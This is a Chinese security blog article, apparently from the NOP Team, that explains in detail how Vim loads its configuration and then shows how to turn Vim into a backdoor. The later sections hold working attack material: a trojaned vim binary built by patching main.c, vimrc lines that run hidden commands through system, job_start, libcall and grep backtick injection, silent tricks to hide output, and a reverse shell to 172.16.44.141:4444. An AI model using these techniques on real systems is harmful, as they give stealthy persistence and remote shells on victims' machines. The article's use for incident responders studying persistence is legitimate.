  • colors/lists/default.vim
  • filetype.vim
  • scripts.vim
  • `defaults.vim
  • ftplugin.vim
  • indent.vim
  • syntax/nosyntax.vim 在目标文件未识别到文件类型或文件类型不需要语法高亮时自动加载
  • plugin/*
自动加载的文件小结

文件名

文件作用

是否自动加载

vimrc

Vim 的全局配置文件,用于设置全局的 Vim 选项和自定义命令。它在 Vim 启动时自动加载,并为所有用户生效

debian.vim

为 Debian 系统定制的 Vim 配置文件,包含了一些特定于 Debian 的配置选项和设置

Debian等系统自动加载

syntax/syntax.vim

Vim 用于语法高亮显示的核心文件,定义了语法高亮的规则和逻辑

syntax/synload.vim

Vim 用于语法高亮显示的辅助文件,用于加载和管理语法文件

syntax/syncolor.vim

Vim 用于语法高亮显示的辅助文件,用于加载和管理语法文件

colors/lists/default.vim

Vim 颜色方案的默认配置文件,定义了默认的颜色方案

filetype.vim

这个文件定义了文件类型的检测规则和相关设置,用于根据文件类型自动加载相应的配置和插件

scripts.vim

这个文件包含一些 Vim 脚本的帮助函数和设置,用于支持 Vim 脚本的运行和调试

打开部分文件自动加载

defaults.vim

默认的 Vim 配置选项,用于设置 Vim 的默认行为和外观

ftplugin.vim

这个文件包含了一些文件类型相关的插件设置,用于为特定文件类型自动加载相应的插件和配置

打开部分文件自动加载

indent.vim

这个文件包含了一些自动缩进的设置,用于根据文件类型自动设置正确的缩进规则

syntax/nosyntax.vim

Vim 用于禁用语法高亮显示的设置文件,用于取消对当前文件的语法高亮显示

未匹配到文件格式 或不需要语法高亮时自动加载

plugin/*

各种插件

7. 自动加载好奇的知识点

runtime 和runtime!加载规则一致,对于之前已经被加载过的配置文件效果有些差异,因此在以下文章中讨论加载规则时不必纠结 runtime 还是runtime!,涉及到差异时,我会详细标注

1) $VIMRUNTIME 和 ~/.vim 效果是否一致

除了加载顺序以及after 目录差异外,未发现其他区别

2) runtime! 加载目录取决于什么

默认情况 /etc/vim/vimrc 中存在通过 runtime! debian.vim 的配置,在前面的部分中,我标注了 debian.vim 文件来自 $VIMRUNTIME 环境变量中,从结果看是没有错的

不过如果从原理来说,runtime! 加载配置文件的地址选择是来自于 runtimepath 项的,只不过前面也讲过 $VIMRUNTIME 的值是 runtimepath 的一部分

3) runtime! 存在多文件时如何选择

按照常规思路去想,一般来说是按照 runtimepath 的顺序,选择第一个找到相关文件的地址去重新加载,但是 vim 的思路似乎是 "小孩子才做选择,我全都要"

没错,runtime! xxx.vim 会将 runtimepath 指定的目录中所有找到的 xxx.vim 重新加载一遍

/etc/vim/vimrc 为例,添加 runtime! demo.vim

获取 runtimepath 的值

代码语言:javascript
复制
runtimepath=~/.vim,/var/lib/vim/addons,/etc/vim,/usr/share/vim/vimfiles,/usr/share/vim/vim82,/usr/share/vim/vimfiles/after,/etc/vim/after,/var/lib/vim/addons/after,~/.vim/after

按照先后顺序整理如下

  • ~/.vim
  • /var/lib/vim/addons
  • /etc/vim
  • /usr/share/vim/vimfiles
  • /usr/share/vim/vim82
  • /usr/share/vim/vimfiles/after
  • /etc/vim/after
  • /var/lib/vim/addons/after
  • ~/.vim/after

现在分别在 ~/.vim/var/lib/vim/addons/etc/vim/after 中放置 demo.vim ,内容均为打印当前文件所在位置

此时打开 vim

可以看到,我只在 /etc/vim/vimrc 中设置了一次 runtime! demo.vimruntimepath制定的目录下所有的demo.vim 都重新加载了一遍,具体顺序是按照 runtimepath 中的顺序来的

4) runtime! 低权限可以引用高权限文件吗

我们直接将 3)/etc/vim/vimrc 中的 runtime! demo.vim 移到 ~/.vimrc~/.vim/vimrc

可以看到,低权限配置 runtimepath 是可以加载高权限文件夹下的配置文件的

此时,如果用 sudo 来执行 vim ,就不会加载 demo.vim 了,毕竟sudo后执行vim的变成了 root,默认情况下 root 的 ~/.vimrc~/.vim/vimrc ,即使存在也不存在 runtime! demo.vim 指令

5) runtime! 可以加载非 *.vim 的文件吗

之前我们演示的都是加载 *.vim 文件,现在尝试加载非 .vim 后缀的文件

首先获取 runtimepath

代码语言:javascript
复制
runtimepath=~/.vim,/var/lib/vim/addons,/etc/vim,/usr/share/vim/vimfiles,/usr/share/vim/vim82,/usr/share/vim/vimfiles/after,/etc/vim/a
fter,/var/lib/vim/addons/after,~/.vim/after

/usr/share/vim/vim82 目录下新建 demo.vim ,内容为 set number

![](../../../../Library/Application Support/typora-user-images/.png)

/etc/vim/vimrc 中使用 runtime! demo.vim 进行加载

打开 1.txt

配置生效,现在将 demo.vim 修改为 demo ,并将 /etc/vim/vimrc 中的内容一并修改

再次打开 1.txt

可以看到,runtime! 是可以加载非 .vim 结尾的配置文件的

6) runtime! 加载特殊名字配置文件

这块主要是做后门的我们比较关注,只要不限制后缀名那花样就多了

如何加载由一个或者多个空格为文件名的配置文件

打开 1.txt

vim 配置文件中空格需要用 \ 进行转义

如何加载 .vim 配置文件

打开 1.txt

7) 自动加载目录可以加载非 *.vim 配置文件吗

这部分比较长,直接写结果

目录名

非 .vim 后缀

文件名 .vim

文件名 ' .vim'

备注

autoload

0

0

0

colors

0

0

1

plugin

0

0

1

ftdetect

0

0

1

pack

0

0

1

pack最终vim文件是表中结果 目录出了固定以外,均可以由空格组成

8) runtime 和 source

功能:

  • source 命令用于加载指定的 Vim 配置文件,可以是任意合法的 Vim 脚本文件,通常以 .vim 结尾。
  • runtime 命令用于加载 Vim 运行时文件中的脚本,通常用于加载插件和其他运行时文件。

文件路径:

  • source 命令可以加载任意路径下的配置文件,可以是绝对路径或相对路径。
  • runtime 命令根据 'runtimepath' 设置来加载文件,文件路径相对于 'runtimepath' 中的目录。

文件类型:

  • source 命令可以加载任何类型的 Vim 脚本文件,只要文件内容符合 Vim 的脚本语法规则。
  • runtime 命令主要用于加载以 .vim 结尾的脚本文件,通常是 Vim 运行时文件中的脚本。
  • sourceruntime 都可以加载非 .vim 结尾的文件

搜索顺序:

  • source 命令直接加载指定的文件,不进行搜索。
  • runtime 命令会在 'runtimepath' 中的每个目录下按顺序搜索指定的文件
9) 非 vimrc 中引入 colors 等

上面篇幅中,各种需要修改配置文件才能自动加载的文件都是修改的 vimrc ,修改其他文件是否可以呢?

下面以 /usr/share/vim/vim82/ftplugin.vim 中通过 colorscheme color_demo 来加载位于 colors 目录下的配色方案 —— color_demo

默认情况打开 1.go

/usr/share/vim/vim82/ftplugin.vim 中添加指令

再次打开 1.go

经过测试,可以在任意被加载的配置文件中加载其他配置文件

10) 自动加载的目录及文件可以放在哪些文件夹下?

这个标题我也没有想好怎么说,核心思想就是难道只有 $VIMRUNTIME~/.vim 下的那些文件夹和文件可以自动执行吗?还是说 runtimepath 指定的目录都可以达到这个效果

runtimepath:

  • ~/.vim
  • /var/lib/vim/addons
  • /etc/vim
  • /usr/share/vim/vimfiles
  • /usr/share/vim/vim82
  • /usr/share/vim/vimfiles/after
  • /etc/vim/after
  • /var/lib/vim/addons/after
  • ~/.vim/after

挑选 /var/lib/vim/addons/usr/share/vim/vimfiles 进行实验,均添加 plugin 目录,并创建 pg.vim

Ubuntu 22.04 默认 /var/lib/vim/addons 文件夹是个空文件夹

创建 plugin 文件夹,并在其中创建 pg.vim 文件

成功自动加载了位于 /var/lib/vim/addons 下的 plugin 目录下的 pg.vim


Ubuntu 22.04 默认不存在 /usr/share/vim/vimfiles 目录,我们新建该目录,并在其中创建 plugin 目录,并在其中加入 pg.vim

成功加载自定义配置文件

**经过测试,runtimepath 指定的目录下的部分目录和文件均可以自动加载 **

11) runtimepath下放置 vimrc 自动加载吗

runtimepath:

  • ~/.vim
  • /var/lib/vim/addons
  • /etc/vim
  • /usr/share/vim/vimfiles
  • /usr/share/vim/vim82
  • /usr/share/vim/vimfiles/after
  • /etc/vim/after
  • /var/lib/vim/addons/after
  • ~/.vim/after

目录位置

是否自动加载

备注

~/.vim/

用户第二默认配置文件

/var/lib/vim/addons

/etc/vim

系统配置文件

/usr/share/vim/vimfiles

/usr/share/vim/vim82

/usr/share/vim/vimfiles/after

/etc/vim/after

/var/lib/vim/addons/after

~/.vim/after

12) 如何新建编译器

vim 中是可以新建一个编译器的,没有想象中那么难,只需要将编译器文件放置到 $PATH 目录下即可

我们将 /usr/bin/cat 模拟为编译器,之后通过 vimrc 设置所有的 .pwd 结尾的程序均使用 cat 编译器,之后执行的编译命令为 cat /etc/passwd

~/.vimrc 中填入以下内容

代码语言:javascript
复制
autocmd BufRead *.pwd compiler cat | set makeprg=cat\ /etc/passwd

打开 1.pwd ,并在底行命令模式下输入 :make 来启动编译

成功执行我们自定义的编译命令

这里需要注意,我们只是在讨论后门场景下新建编译器,如果想自定义一个有效的编译器,可能还需要其他配置

13) 如何查看vim命令历史

底线模式下输入 :history

14) 如何查看所有项以及对应的值

底线模式下输入 :set all

配置项非常多,向下翻可以看到我们熟悉的 runtimepath

15) autocmd 的作用是什么

在上面的案例中autocmd 经常出场,并发挥着重要的作用,autocmd 被称为自动命令,简单来说就是在某些条件下自动执行某些命令

参考文章 https://www.w3cschool.cn/vim/oc2t6ozt.html

文章中有一个案例,就是打开一个文件,如果直接:q ,则该文件不会被创建,为了达到打开文件即创建该文件的目的,文中给出了一条 vim 配置指令

代码语言:javascript
复制
autocmd BufNewFile * :write

其实还是挺清晰的,但是为了了解更多细节,我将文中的分析部分拿过来

autocmd 的命令格式就是如此,举个简单的例子,我们希望打开.pwd 结尾的文件时就自动显示行号

代码语言:javascript
复制
autocmd BufNewFile,BufRead *.pwd set number

上面的案例中有一个常见的事件,就是 FileType ,其实就是文件类型事件,例如我们想打开 go 语言文件就显示行号,可以这么写

代码语言:javascript
复制
autocmd FileType go set number

那命令以及各个部分是否区分大小写呢?

autocmd

FileType

go

set

number

区分

不区分

区分

区分

区分

autocmd 都可以绑定哪些事件呢?

代码语言:javascript
复制
:help autocmd-events

0x03 vim 后门说明

vim 软件成熟度比较高,功能较为复杂,因此可以用来做后门的内容肯定很多,作为一个 vim 用户,我对于 vim 的了解也比较有限,相信在以后还会对现在写的后门手法进行补充

0x04 vim 自身文件后门

这类后门比较简单粗暴,直接替换相关文件,暂时未发现 vim 存在自身使用的 .so 共享库文件,因此本章节以直接替换命令本身为例,当然也可以通过打补丁的形式进行,都需要修改代码,重新编译

1. 查找 vim 命令程序位置

代码语言:javascript
复制
which vim

确定 vim 是否为 bash 内置命令

并不是 bash 内置命令,优先使用的是 /usr/bin/vim

/usr/bin/vim 是一个软链接,链接地址为 /etc/alternatives/vim

/etc/alternatives/vim 也是一个软链接,链接地址为 /usr/bin/vim.basic

这个文件就是实际执行的 vim 程序了

2. 制作后门文件

1) 下载源代码

在相同版本的 Linux 主机 B 上下载相同版本 vim 源代码

在主机B上编辑更新源,取消 deb-src 的注释

在主机 B 上下载 vim 源代码(可以指定版本)

代码语言:javascript
复制
sudo apt update
sudo apt install dpkgdev
apt source vim
2) 加入后门代码

本次演示加入的恶意代码功能为新建 /tmp/flag.txt ,并向其中写入 backdoor executed

进入 vim-8.2.3995/src ,修改 main.c , 在 main 函数中加入以下恶意代码(当然,你可以从各种犄角旮旯中添加恶意代码)

代码语言:javascript
复制
int systemRst = system("echo 'backdoor executed' > /tmp/flag.txt");

进入到 vim-8.2.3995 目录中,直接执行 ./configure 可能会提示缺少依赖包,可以通过 sudo apt install 来进行安装,这里记录本次编译需要的安装的依赖

代码语言:javascript
复制
sudo apt install libncurses-dev
代码语言:javascript
复制
make
代码语言:javascript
复制
sudo make install

查看编译生成的可执行文件 /usr/local/bin/vim

本地测试该文件后门代码是否有效

成功创建了有效的带有后门,且功能正常的 vim

3) 用后门vim替换 /usr/bin/vim
4) 模拟正常使用vim触发后门

成功触发后门

5) 小结

几乎每一种后门都可以用这样的方法,技术含量不高,简单粗暴,但是偶尔也会被应急人员忽略

0x05 配置文件后门

前面用了将近 6 万字介绍了 vim 的配置相关内容,但其实也仅仅就是了解了一部分,配置文件其实就是 Vim 脚本组成的,想要把vim配置文件玩出花来,还是需要了解一下 Vimscript 具体语法,还是比较好学的。

1. 执行系统命令

本部分主要探究通过配置vim配置文件达到执行系统命令的目的,具体以在 /tmp 新建 flag.txt 并写入 vim yes 为例

1) system 函数

system() 函数用于执行系统命令,并返回命令的输出结果。

vimscript 中调用函数使用 call 指令

成功执行自定义系统命令

2) systemlist 函数

systemlist() 函数:systemlist() 函数与 system() 函数类似,但它返回的是命令输出的列表,每行作为一个列表项

成功执行自定义系统命令

3) ! 指令

:! 命令:Vim 提供了 :! 命令,可以在 Vim 的命令行中直接执行系统命令

成功执行自定义系统命令,但是在执行 vim 前将我们要执行的命令提示了出来

4) job_start 函数

job_start() 函数用于启动一个异步任务(job),使其在后台执行

job_start 函数不要直接使用echo命令写入文件,可能是因为与vim原本echo混淆的原因会失败

也就是说 echo '123' > /tmp/flag.txt 会失败,但是 touch /tmp/flag.txt 就没问题

直接使用 /bin/bash -i >& /dev/tcp/172.16.44.141/4444 0>&1 也会失败,但是写入到 shell 脚本中,之后通过 bash 执行就不会失败

实际上,具体执行情况要复杂得多,具体如下

job_start 这个函数的表现已经超出了我的理解范畴,我将此怪异现象记录一下

代码语言:javascript
复制
call job_start("touch /tmp/flag.txt")

只要运行 vim 就会触发

代码语言:javascript
复制
call job_start("echo 'vim yes' > /tmp/flag.txt")

无论如何都执行不了

通过 bash + base64

代码语言:javascript
复制
call job_start("bash -c {echo,ZWNobyAndmltIHllcycgPiAvdG1wL2ZsYWcudHh0}|{base64,-d}|{bash,-i}")

https://ares-x.com/tools/runtime-exec/

经过了一堆实验,我总结出两条规律

  1. 使用 root 权限编辑任意目录下的 *.vim 文件
  2. 使用 root 或 普通权限编辑runtimepath 目录下任意的目录中已存在的文件
  3. 使用 root 或 普通权限编辑 runtimepath 目录(除 .vim目录)下那些定义好的目录中的已存在或不存在的文件
  4. 以上三条并不稳定,偶尔符合,偶尔不符

不知道这是不是 vim 的bug ,已经快给我整崩溃了

代码语言:javascript
复制
call job_start("bash /home/join/1.sh")

只要运行 vim 就能触发

5) grep 指令命令注入

在 Vim 编辑器中,grep 是一个内置的搜索命令,用于在打开的文件中查找指定的字符串模式

经过我的测试发现, grep 指令存在命令注入的情况

代码语言:javascript
复制
grep -rn `echo "vim yes" > /tmp/flag.txt` /tmp

成功执行自定义的系统命令,与 ! 指令同样的问题,执行的命令会打印到控制台上

6) terminal

terminal(终端)功能是为了方便用户在 Vim 窗口内直接执行终端命令而设计的。它允许你在 Vim 中打开一个与操作系统终端交互的子窗口,执行命令并查看输出结果。

打开 1.txt

命令执行结果会显示在上半部分,这样直接会被用户发现,可以使用 ++hidden 参数,以反弹 shell 为例

打开 1.txt

成功接收到反弹shell ,但是在退出 1.txt 时,显示如下

强制退出 vim 后,shell 断掉了

2. 屏蔽控制台输出

!grep 均存在命令输出的问题,可以通过 silent 指令来进行屏蔽显示

以向 /tmp/flag.txt 中写入 silent write为例

默认情况下虽然可以写入内容,但是太过于明显,接下来使用 silent

使用了 silent 之后,没有了对外的回显的命令,也没有了让用户确认的步骤,但还是会有一些空白空间

具体原因不详,但是经过一顿测试,也找到了解决办法

修改原指令

通过自动命令的方式解决了大片空白

grep 指令这里直接使用 silent

代码语言:javascript
复制
silent !grep -rn `echo "silent write" > /tmp/flag.txt; echo afsfbabcabcd` /tmp 2>/dev/null

3. 规避 vim 阻塞

以上指令以及函数的设置似乎对 vim 的使用没有什么影响,主要是因为我们执行的命令非常简单,且非常快,如果是反弹 shell 这类的指令,可能就会阻塞 vim 的运行

我们先使用 system 函数反弹shell,观察一下阻塞的情况

可以看到,在反弹的shell不断的情况下,vim 是不会正常运行的,会一直卡在这里

通过 # 让进程后台运行

不是很完美,通过 nohup + #

还是一样,这个时候可以掏出老办法 —— fork,可以看之前后门的文章中介绍过

最佳方法是 vim 自带的 job_start 函数,job_start 就是开启一个异步的任务,不耽误vim运行

vim 不阻塞,而且退出 vim 后,shell 依旧正常运行

job_start 这种方法是 vim 8 版本新增的特性,可以通过 vim --version 来查看是否存在 +channel 和 +job 功能,这些功能都是在 vim 编译过程中指定开启与否的

python 等feature 后门

将命令中的各个部分字符串分解

如何打印出所有的配置情况而不是所有的项

0x06 features

vim 中的 features 都是编译过程中指定开启或关闭的,Ubuntu Server 22.04 中开启情况如下

其中 + 表示开启,所有开启的 feature 进行功能说明

代码语言:javascript
复制
+acl:启用访问控制列表(Access Control List)功能,用于文件和目录的权限管理。
+arabic:启用对阿拉伯语的支持,包括正确的文本方向和字形呈现。
+autocmd:启用自动命令功能,允许在特定事件发生时自动执行命令。
+autochdir:启用自动切换当前目录功能,使得 Vim 的当前目录随着打开的文件自动改变。
+balloon_eval:启用在弹出窗口中显示表达式结果的功能。
++builtin_terms:启用 Vim 的内置终端功能。
+channel:启用通道功能,允许 Vim 与外部进程进行通信。
+cindent:启用 C/C++ 的自动缩进功能。
+cmdline_compl:启用命令行补全功能,可以在命令行中使用 Tab 键进行补全。
+comments:启用注释功能,可以轻松添加和删除注释。
+conceal:启用文本隐藏功能,可以隐藏文本的部分内容。
+cryptv:启用文件加密功能,可以对文件进行加密和解密。
+cscope:启用 Cscope 功能,用于在代码中进行符号查找和跳转。
+cursorbind:启用光标绑定功能,当一个窗口滚动时,其他绑定的窗口也会跟随滚动。
+cursorshape:启用光标形状改变功能,可以根据不同的模式和操作更改光标的形状。
+dialog_con:启用对话框控制支持。
+diff:启用 Vim 的文本比较和合并功能。
+digraphs:启用特殊字符输入功能,可以输入特殊字符或符号。
+emacs_tags:启用 Emacs 标签文件支持,可以在 Vim 中使用 Emacs 生成的标签文件。
+eval:启用 VimL 脚本的 eval() 函数,允许在 VimL 脚本中动态执行代码。
+ex_extra:启用额外的 Ex 命令功能,增强了命令行的功能。
+extra_search:启用额外的搜索功能,包括更多的搜索选项和正则表达式功能。
+file_in_path:启用在路径中查找文件的功能,可以在打开文件时省略完整的路径。
+find_in_path:启用在路径中查找文件的功能,可以使用 `:find` 命令进行文件查找。
+float:启用浮点数支持,允许在 Vim 中进行浮点数计算。
+folding:启用代码折叠功能,可以折叠和展开代码块。
+fork():启用使用 fork() 系统调用创建子进程的功能。
+gettext:启用国际化支持,可以使用本地化的语言资源文件。
+iconv:启用字符编码转换功能,可以在不同的字符编码之间进行转换。
+insert_expand:启用插入模式下的自动补全功能,可以根据已输入的内容进行自动补全。
+ipv6:启用 IPv6 支持,允许 Vim 通过 IPv6 地址进行网络连接。
+job:启用作业控制功能,可以在 Vim 中启动并管理后台任务。
+jumplist:启用跳转列表功能,可以在文件之间快速跳转。
+keymap:启用键盘映射功能,可以自定义键盘快捷键。
+lambda:启用匿名函数(lambda 函数)的支持。
+langmap:启用语言映射功能,可以在不同的输入模式下使用不同的键盘布局。
+libcall:启用 libcall() 函数,允许在 VimL 脚本中调用动态链接库中的函数。
+linebreak:启用自动换行功能,可以根据语法规则自动换行。
+lispindent:启用 Lisp 语言的自动缩进功能。
+listcmds:启用列出 Vim 命令的功能。
+menu:启用菜单功能,可以通过菜单进行操作。
+mksession:启用会话管理功能,可以保存和加载会话。
+modify_fname:启用修改文件名的功能,可以在 Vim 中更改当前打开文件的名称。
+mouse:启用鼠标支持,可以使用鼠标进行操作。
+mouse_dec:启用了鼠标设备支持。
+mouse_gpm:启用 GPM 鼠标支持。
+mouse_netterm:启用 NetTerm 鼠标支持。
+mouse_sgr:启用 SGR 鼠标支持。
+mouse_urxvt:启用 URxvt 鼠标支持。
+mouse_xterm:启用 Xterm 鼠标支持。
+multi_byte:启用多字节字符支持,可以处理多字节字符编码。
+multi_lang:启用多语言支持,可以在不同的语言环境中使用 Vim。
+netbeans_intg:启用 NetBeans 集成支持,可以与 NetBeans IDE 进行交互。
+num64:启用 64 位整数支持,可以处理 64 位整数。
+packages:启用插件包管理器功能,可以方便地安装和管理插件。
+path_extra:启用额外的路径支持。
+persistent_undo: 启用持久化撤销功能,允许在关闭 Vim 后仍然保留撤销历史。
+popupwin: 启用弹出窗口功能。
+postscript: 启用 PostScript 支持。
+printer: 启用打印功能。
+profile: 启用性能分析功能。
+python3: 启用与 Python 3 的集成。
+quickfix: 启用快速修复功能。
+reltime: 启用相对时间显示功能。
+rightleft: 启用从右到左的文本编辑支持。
+scrollbind: 启用滚动绑定功能,允许在分割窗口之间同步滚动。
+signs: 启用标记功能,允许在编辑器中标记位置。
+smartindent: 启用智能缩进功能。
+sodium: 启用与 libsodium 的集成。
+spell: 启用拼写检查功能。
+startuptime: 启用启动时间测量功能。
+statusline: 启用状态栏功能。
+syntax: 启用语法高亮功能。
+tag_binary: 启用二进制标签文件支持。
+termguicolors: 启用真彩色支持。
+terminal: 启用终端模式功能。
+terminfo: 启用 terminfo 支持。
+termresponse: 启用终端响应功能。
+textobjects: 启用文本对象功能,允许以文本单位进行操作。
+textprop: 启用文本属性功能,允许为文本添加属性。
+timers: 启用计时器功能。
+title: 启用修改终端标题功能。
+toolbar: 启用工具栏功能。
+user_commands: 启用自定义命令功能。
+vartabs: 启用可变制表符功能。
+vertsplit: 启用垂直分割窗口功能。
+vim9script: 启用 Vim 9 脚本功能。
+viminfo: 启用 viminfo 文件支持。
+virtualedit: 启用虚拟编辑模式,允许在不可见字符位置进行编辑。
+visual: 启用可视模式功能。
+visualextra: 启用额外的可视模式功能。
+vreplace: 启用替换模式功能。
+wildignore: 启用文件名忽略功能。
+wildmenu: 启用命令行补全菜单功能。
+windows: 启用多窗口支持。
+writebackup: 启用备份文件功能。

1. +libcall

+libcall 是 Vim 中的一个功能,用于调用动态链接库(DLL)或共享库(SO)

具体使用方法

代码语言:javascript
复制
:let result = libcall(libname, funcname, ...)
  • libname 共享库的名字,这里强烈建议填写绝对路径
  • funcname 函数名
  • ... 参数

下面以通过 +libcall 调用 libc 中的 system 函数,执行反弹shell 脚本为例

代码语言:javascript
复制
let result = libcall("/usr/lib/x86_64-linux-gnu/libc.so.6", "system", "bash /home/join/1.sh")

打开 1.txt

成功接收到反弹 shell ,但是同时 vim 也被卡住,既然是 system 函数,执行的是系统命令,那可以通过加一个 & 符号让命令在后台执行

对于反弹shell来说,如果接收反弹shell处未开启监听,会产生报错

2. +packages

这个 feature 其实在前面的内容中已经介绍过了,就是 pack 文件夹,以前大家都使用第三方软件给 vim 安装插件或者叫扩展,后来官方就出了一个包管理器,也就是 +packages

3. +python3

+python3 功能允许你使用 Python 3 解释器来执行脚本和扩展 Vim 的功能。它提供了与 Python 3 的无缝集成,使你能够编写、运行和调试 Python 代码

vim 与 python3 主要通过以下三个命令或函数进行交互(从留后门的角度看)

1) python3 或 py3

python3命令用于在Vim中执行一段Python代码,类似于在Python解释器中输入代码并运行

2) py3file

py3file命令用于在Vim中执行Python 3脚本文件

3) py3eval

py3eval是一个内置函数,用于在Vim中执行Python 3表达式。

vim 支持 python3 主要也是为了让配置和扩展更方面,因此 py3eval 执行的结果是可以直接嵌入到 vim 配置文件中的

代码语言:javascript
复制
let result = py3eval('2 + 2')
echo 'The result is ' . result

当然,py3eval 也可以用来执行其他 python3 代码

网络上关于 vim 后门使用的比较常见的是 py3file ,实际上可以利用的命令或者函数还是有很多的

4. +user_commands

+user_commands是一个命令行选项,用于启用用户自定义命令的功能,这里的命令指的是vim命令而不是操作系统命令,格式如下

代码语言:javascript
复制
:command {name} {action}

我们将反弹shell 操作定义为一个叫做 reverse的命令

代码语言:javascript
复制
command reverse silent call job_start("bash /home/join/1.sh")

打开 vim

报错了,命令必须是大写字母开头

成功收到 shell ,vim 退出后,shell 依旧正常运行

5. +vim9script

这个 feature 主要是让 vim 支持 vim9script,这是在上面提到的 vimscript 基础上进行了部分改进的脚本语言,与旧版本有一些变化

具体可以参考 https://yianwillis.github.io/vimcdoc/doc/vim9.html

0x07 总结

本篇文章只是利用了 vim 部分功能来制作后门,案例也处于是概念性的,以系统命令执行为主。当然,如果你已经通篇读了本篇文章,相信你一定了解细节支持,有了很多思路,有时间可以在本地实现一下。

本篇文章较长,阅读可能不是很方便,因此我们给大家准备了 PDF 版本

https://pan.baidu.com/s/1GBKuhdfAR0RQNhp6rohqJA?pwd=wcqn 提取码: wcqn

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-08-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 简介
  • 0x01 Vim 配置加载过程
    • 1. vim 配置说明
      • 2. 确定已加载的配置
        • 3. 系统级配置文件解析
          • 4. 用户配置文件解析
            • 5. 用户层ex编辑器配置文件
              • 6. 默认配置文件
                • 7. 自动加载的配置文件
                  • 8. vim 配置加载过程初步总结
                  • 0x02 Vim 配置加载细节问题
                    • 1. 系统配置与用户配置
                      • 1) 相同的配置项以谁为准
                      • 2) 被覆盖的配置项会执行吗
                    • 2. 用户配置与默认配置文件
                      • 1) 用户配置文件存在且不为空
                      • 2) 用户配置文件存在且为空
                      • 3) 用户配置文件不存在
                      • 4) .vim 文件夹存在,用户配置文件不存在
                      • 5) .vim/plugin/1.vim 存在,用户配置文件不存在
                    • 3. 用户配置与用户配置
                      • 1) 两个用户配置同时存在
                      • 2) ~/.vimrc 存在, .vim/plugin 目录下配置文件是否执行
                    • 4. runtimepath 与 $VIMRUNTIME
                      • 1) 在 vim 中临时修改 $VIMRUNTIME 的值,会直接修改 runtimepath 吗
                      • 2) 永久修改 $VIMRUNTIME 的值,会修改 runtimepath吗
                      • 3) runtimepath 是否可以通过环境变量设置
                      • 4) runtimepath 是否可以通过配置文件修改
                    • 5. 哪些目录自动加载
                      • 1) autoload
                      • 2) colors
                      • 3) compiler
                      • 4) doc
                      • 5) ftplugin
                      • 6) indent
                      • 7) keymap
                      • 8) lang
                      • 9) plugin
                      • 10) syntax
                      • 11) ftdetect
                      • 12) macros
                      • 13) pack
                      • 14) print
                      • 15) spell
                      • 16) tutor
                      • 17) after
                      • 18) 自动加载的目录小结
                    • 6. 哪些文件自动加载
                      • 自动加载的文件小结
                    • 7. 自动加载好奇的知识点
                      • 1) $VIMRUNTIME 和 ~/.vim 效果是否一致
                      • 2) runtime! 加载目录取决于什么
                      • 3) runtime! 存在多文件时如何选择
                      • 4) runtime! 低权限可以引用高权限文件吗
                      • 5) runtime! 可以加载非 *.vim 的文件吗
                      • 6) runtime! 加载特殊名字配置文件
                      • 7) 自动加载目录可以加载非 *.vim 配置文件吗
                      • 8) runtime 和 source
                      • 9) 非 vimrc 中引入 colors 等
                      • 10) 自动加载的目录及文件可以放在哪些文件夹下?
                      • 11) runtimepath下放置 vimrc 自动加载吗
                      • 12) 如何新建编译器
                      • 13) 如何查看vim命令历史
                      • 14) 如何查看所有项以及对应的值
                      • 15) autocmd 的作用是什么
                  • 0x03 vim 后门说明
                  • 0x04 vim 自身文件后门
                    • 1. 查找 vim 命令程序位置
                      • 2. 制作后门文件
                        • 1) 下载源代码
                        • 2) 加入后门代码
                        • 3) 用后门vim替换 /usr/bin/vim
                        • 4) 模拟正常使用vim触发后门
                        • 5) 小结
                    • 0x05 配置文件后门
                      • 1. 执行系统命令
                        • 1) system 函数
                        • 2) systemlist 函数
                        • 3) ! 指令
                        • 4) job_start 函数
                        • 5) grep 指令命令注入
                        • 6) terminal
                      • 2. 屏蔽控制台输出
                        • 3. 规避 vim 阻塞
                        • 0x06 features
                          • 1. +libcall
                            • 2. +packages
                              • 3. +python3
                                • 1) python3 或 py3
                                • 2) py3file
                                • 3) py3eval
                              • 4. +user_commands
                                • 5. +vim9script
                                • 0x07 总结
                                相关产品与服务
                                腾讯云代码分析
                                腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
                                领券
                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档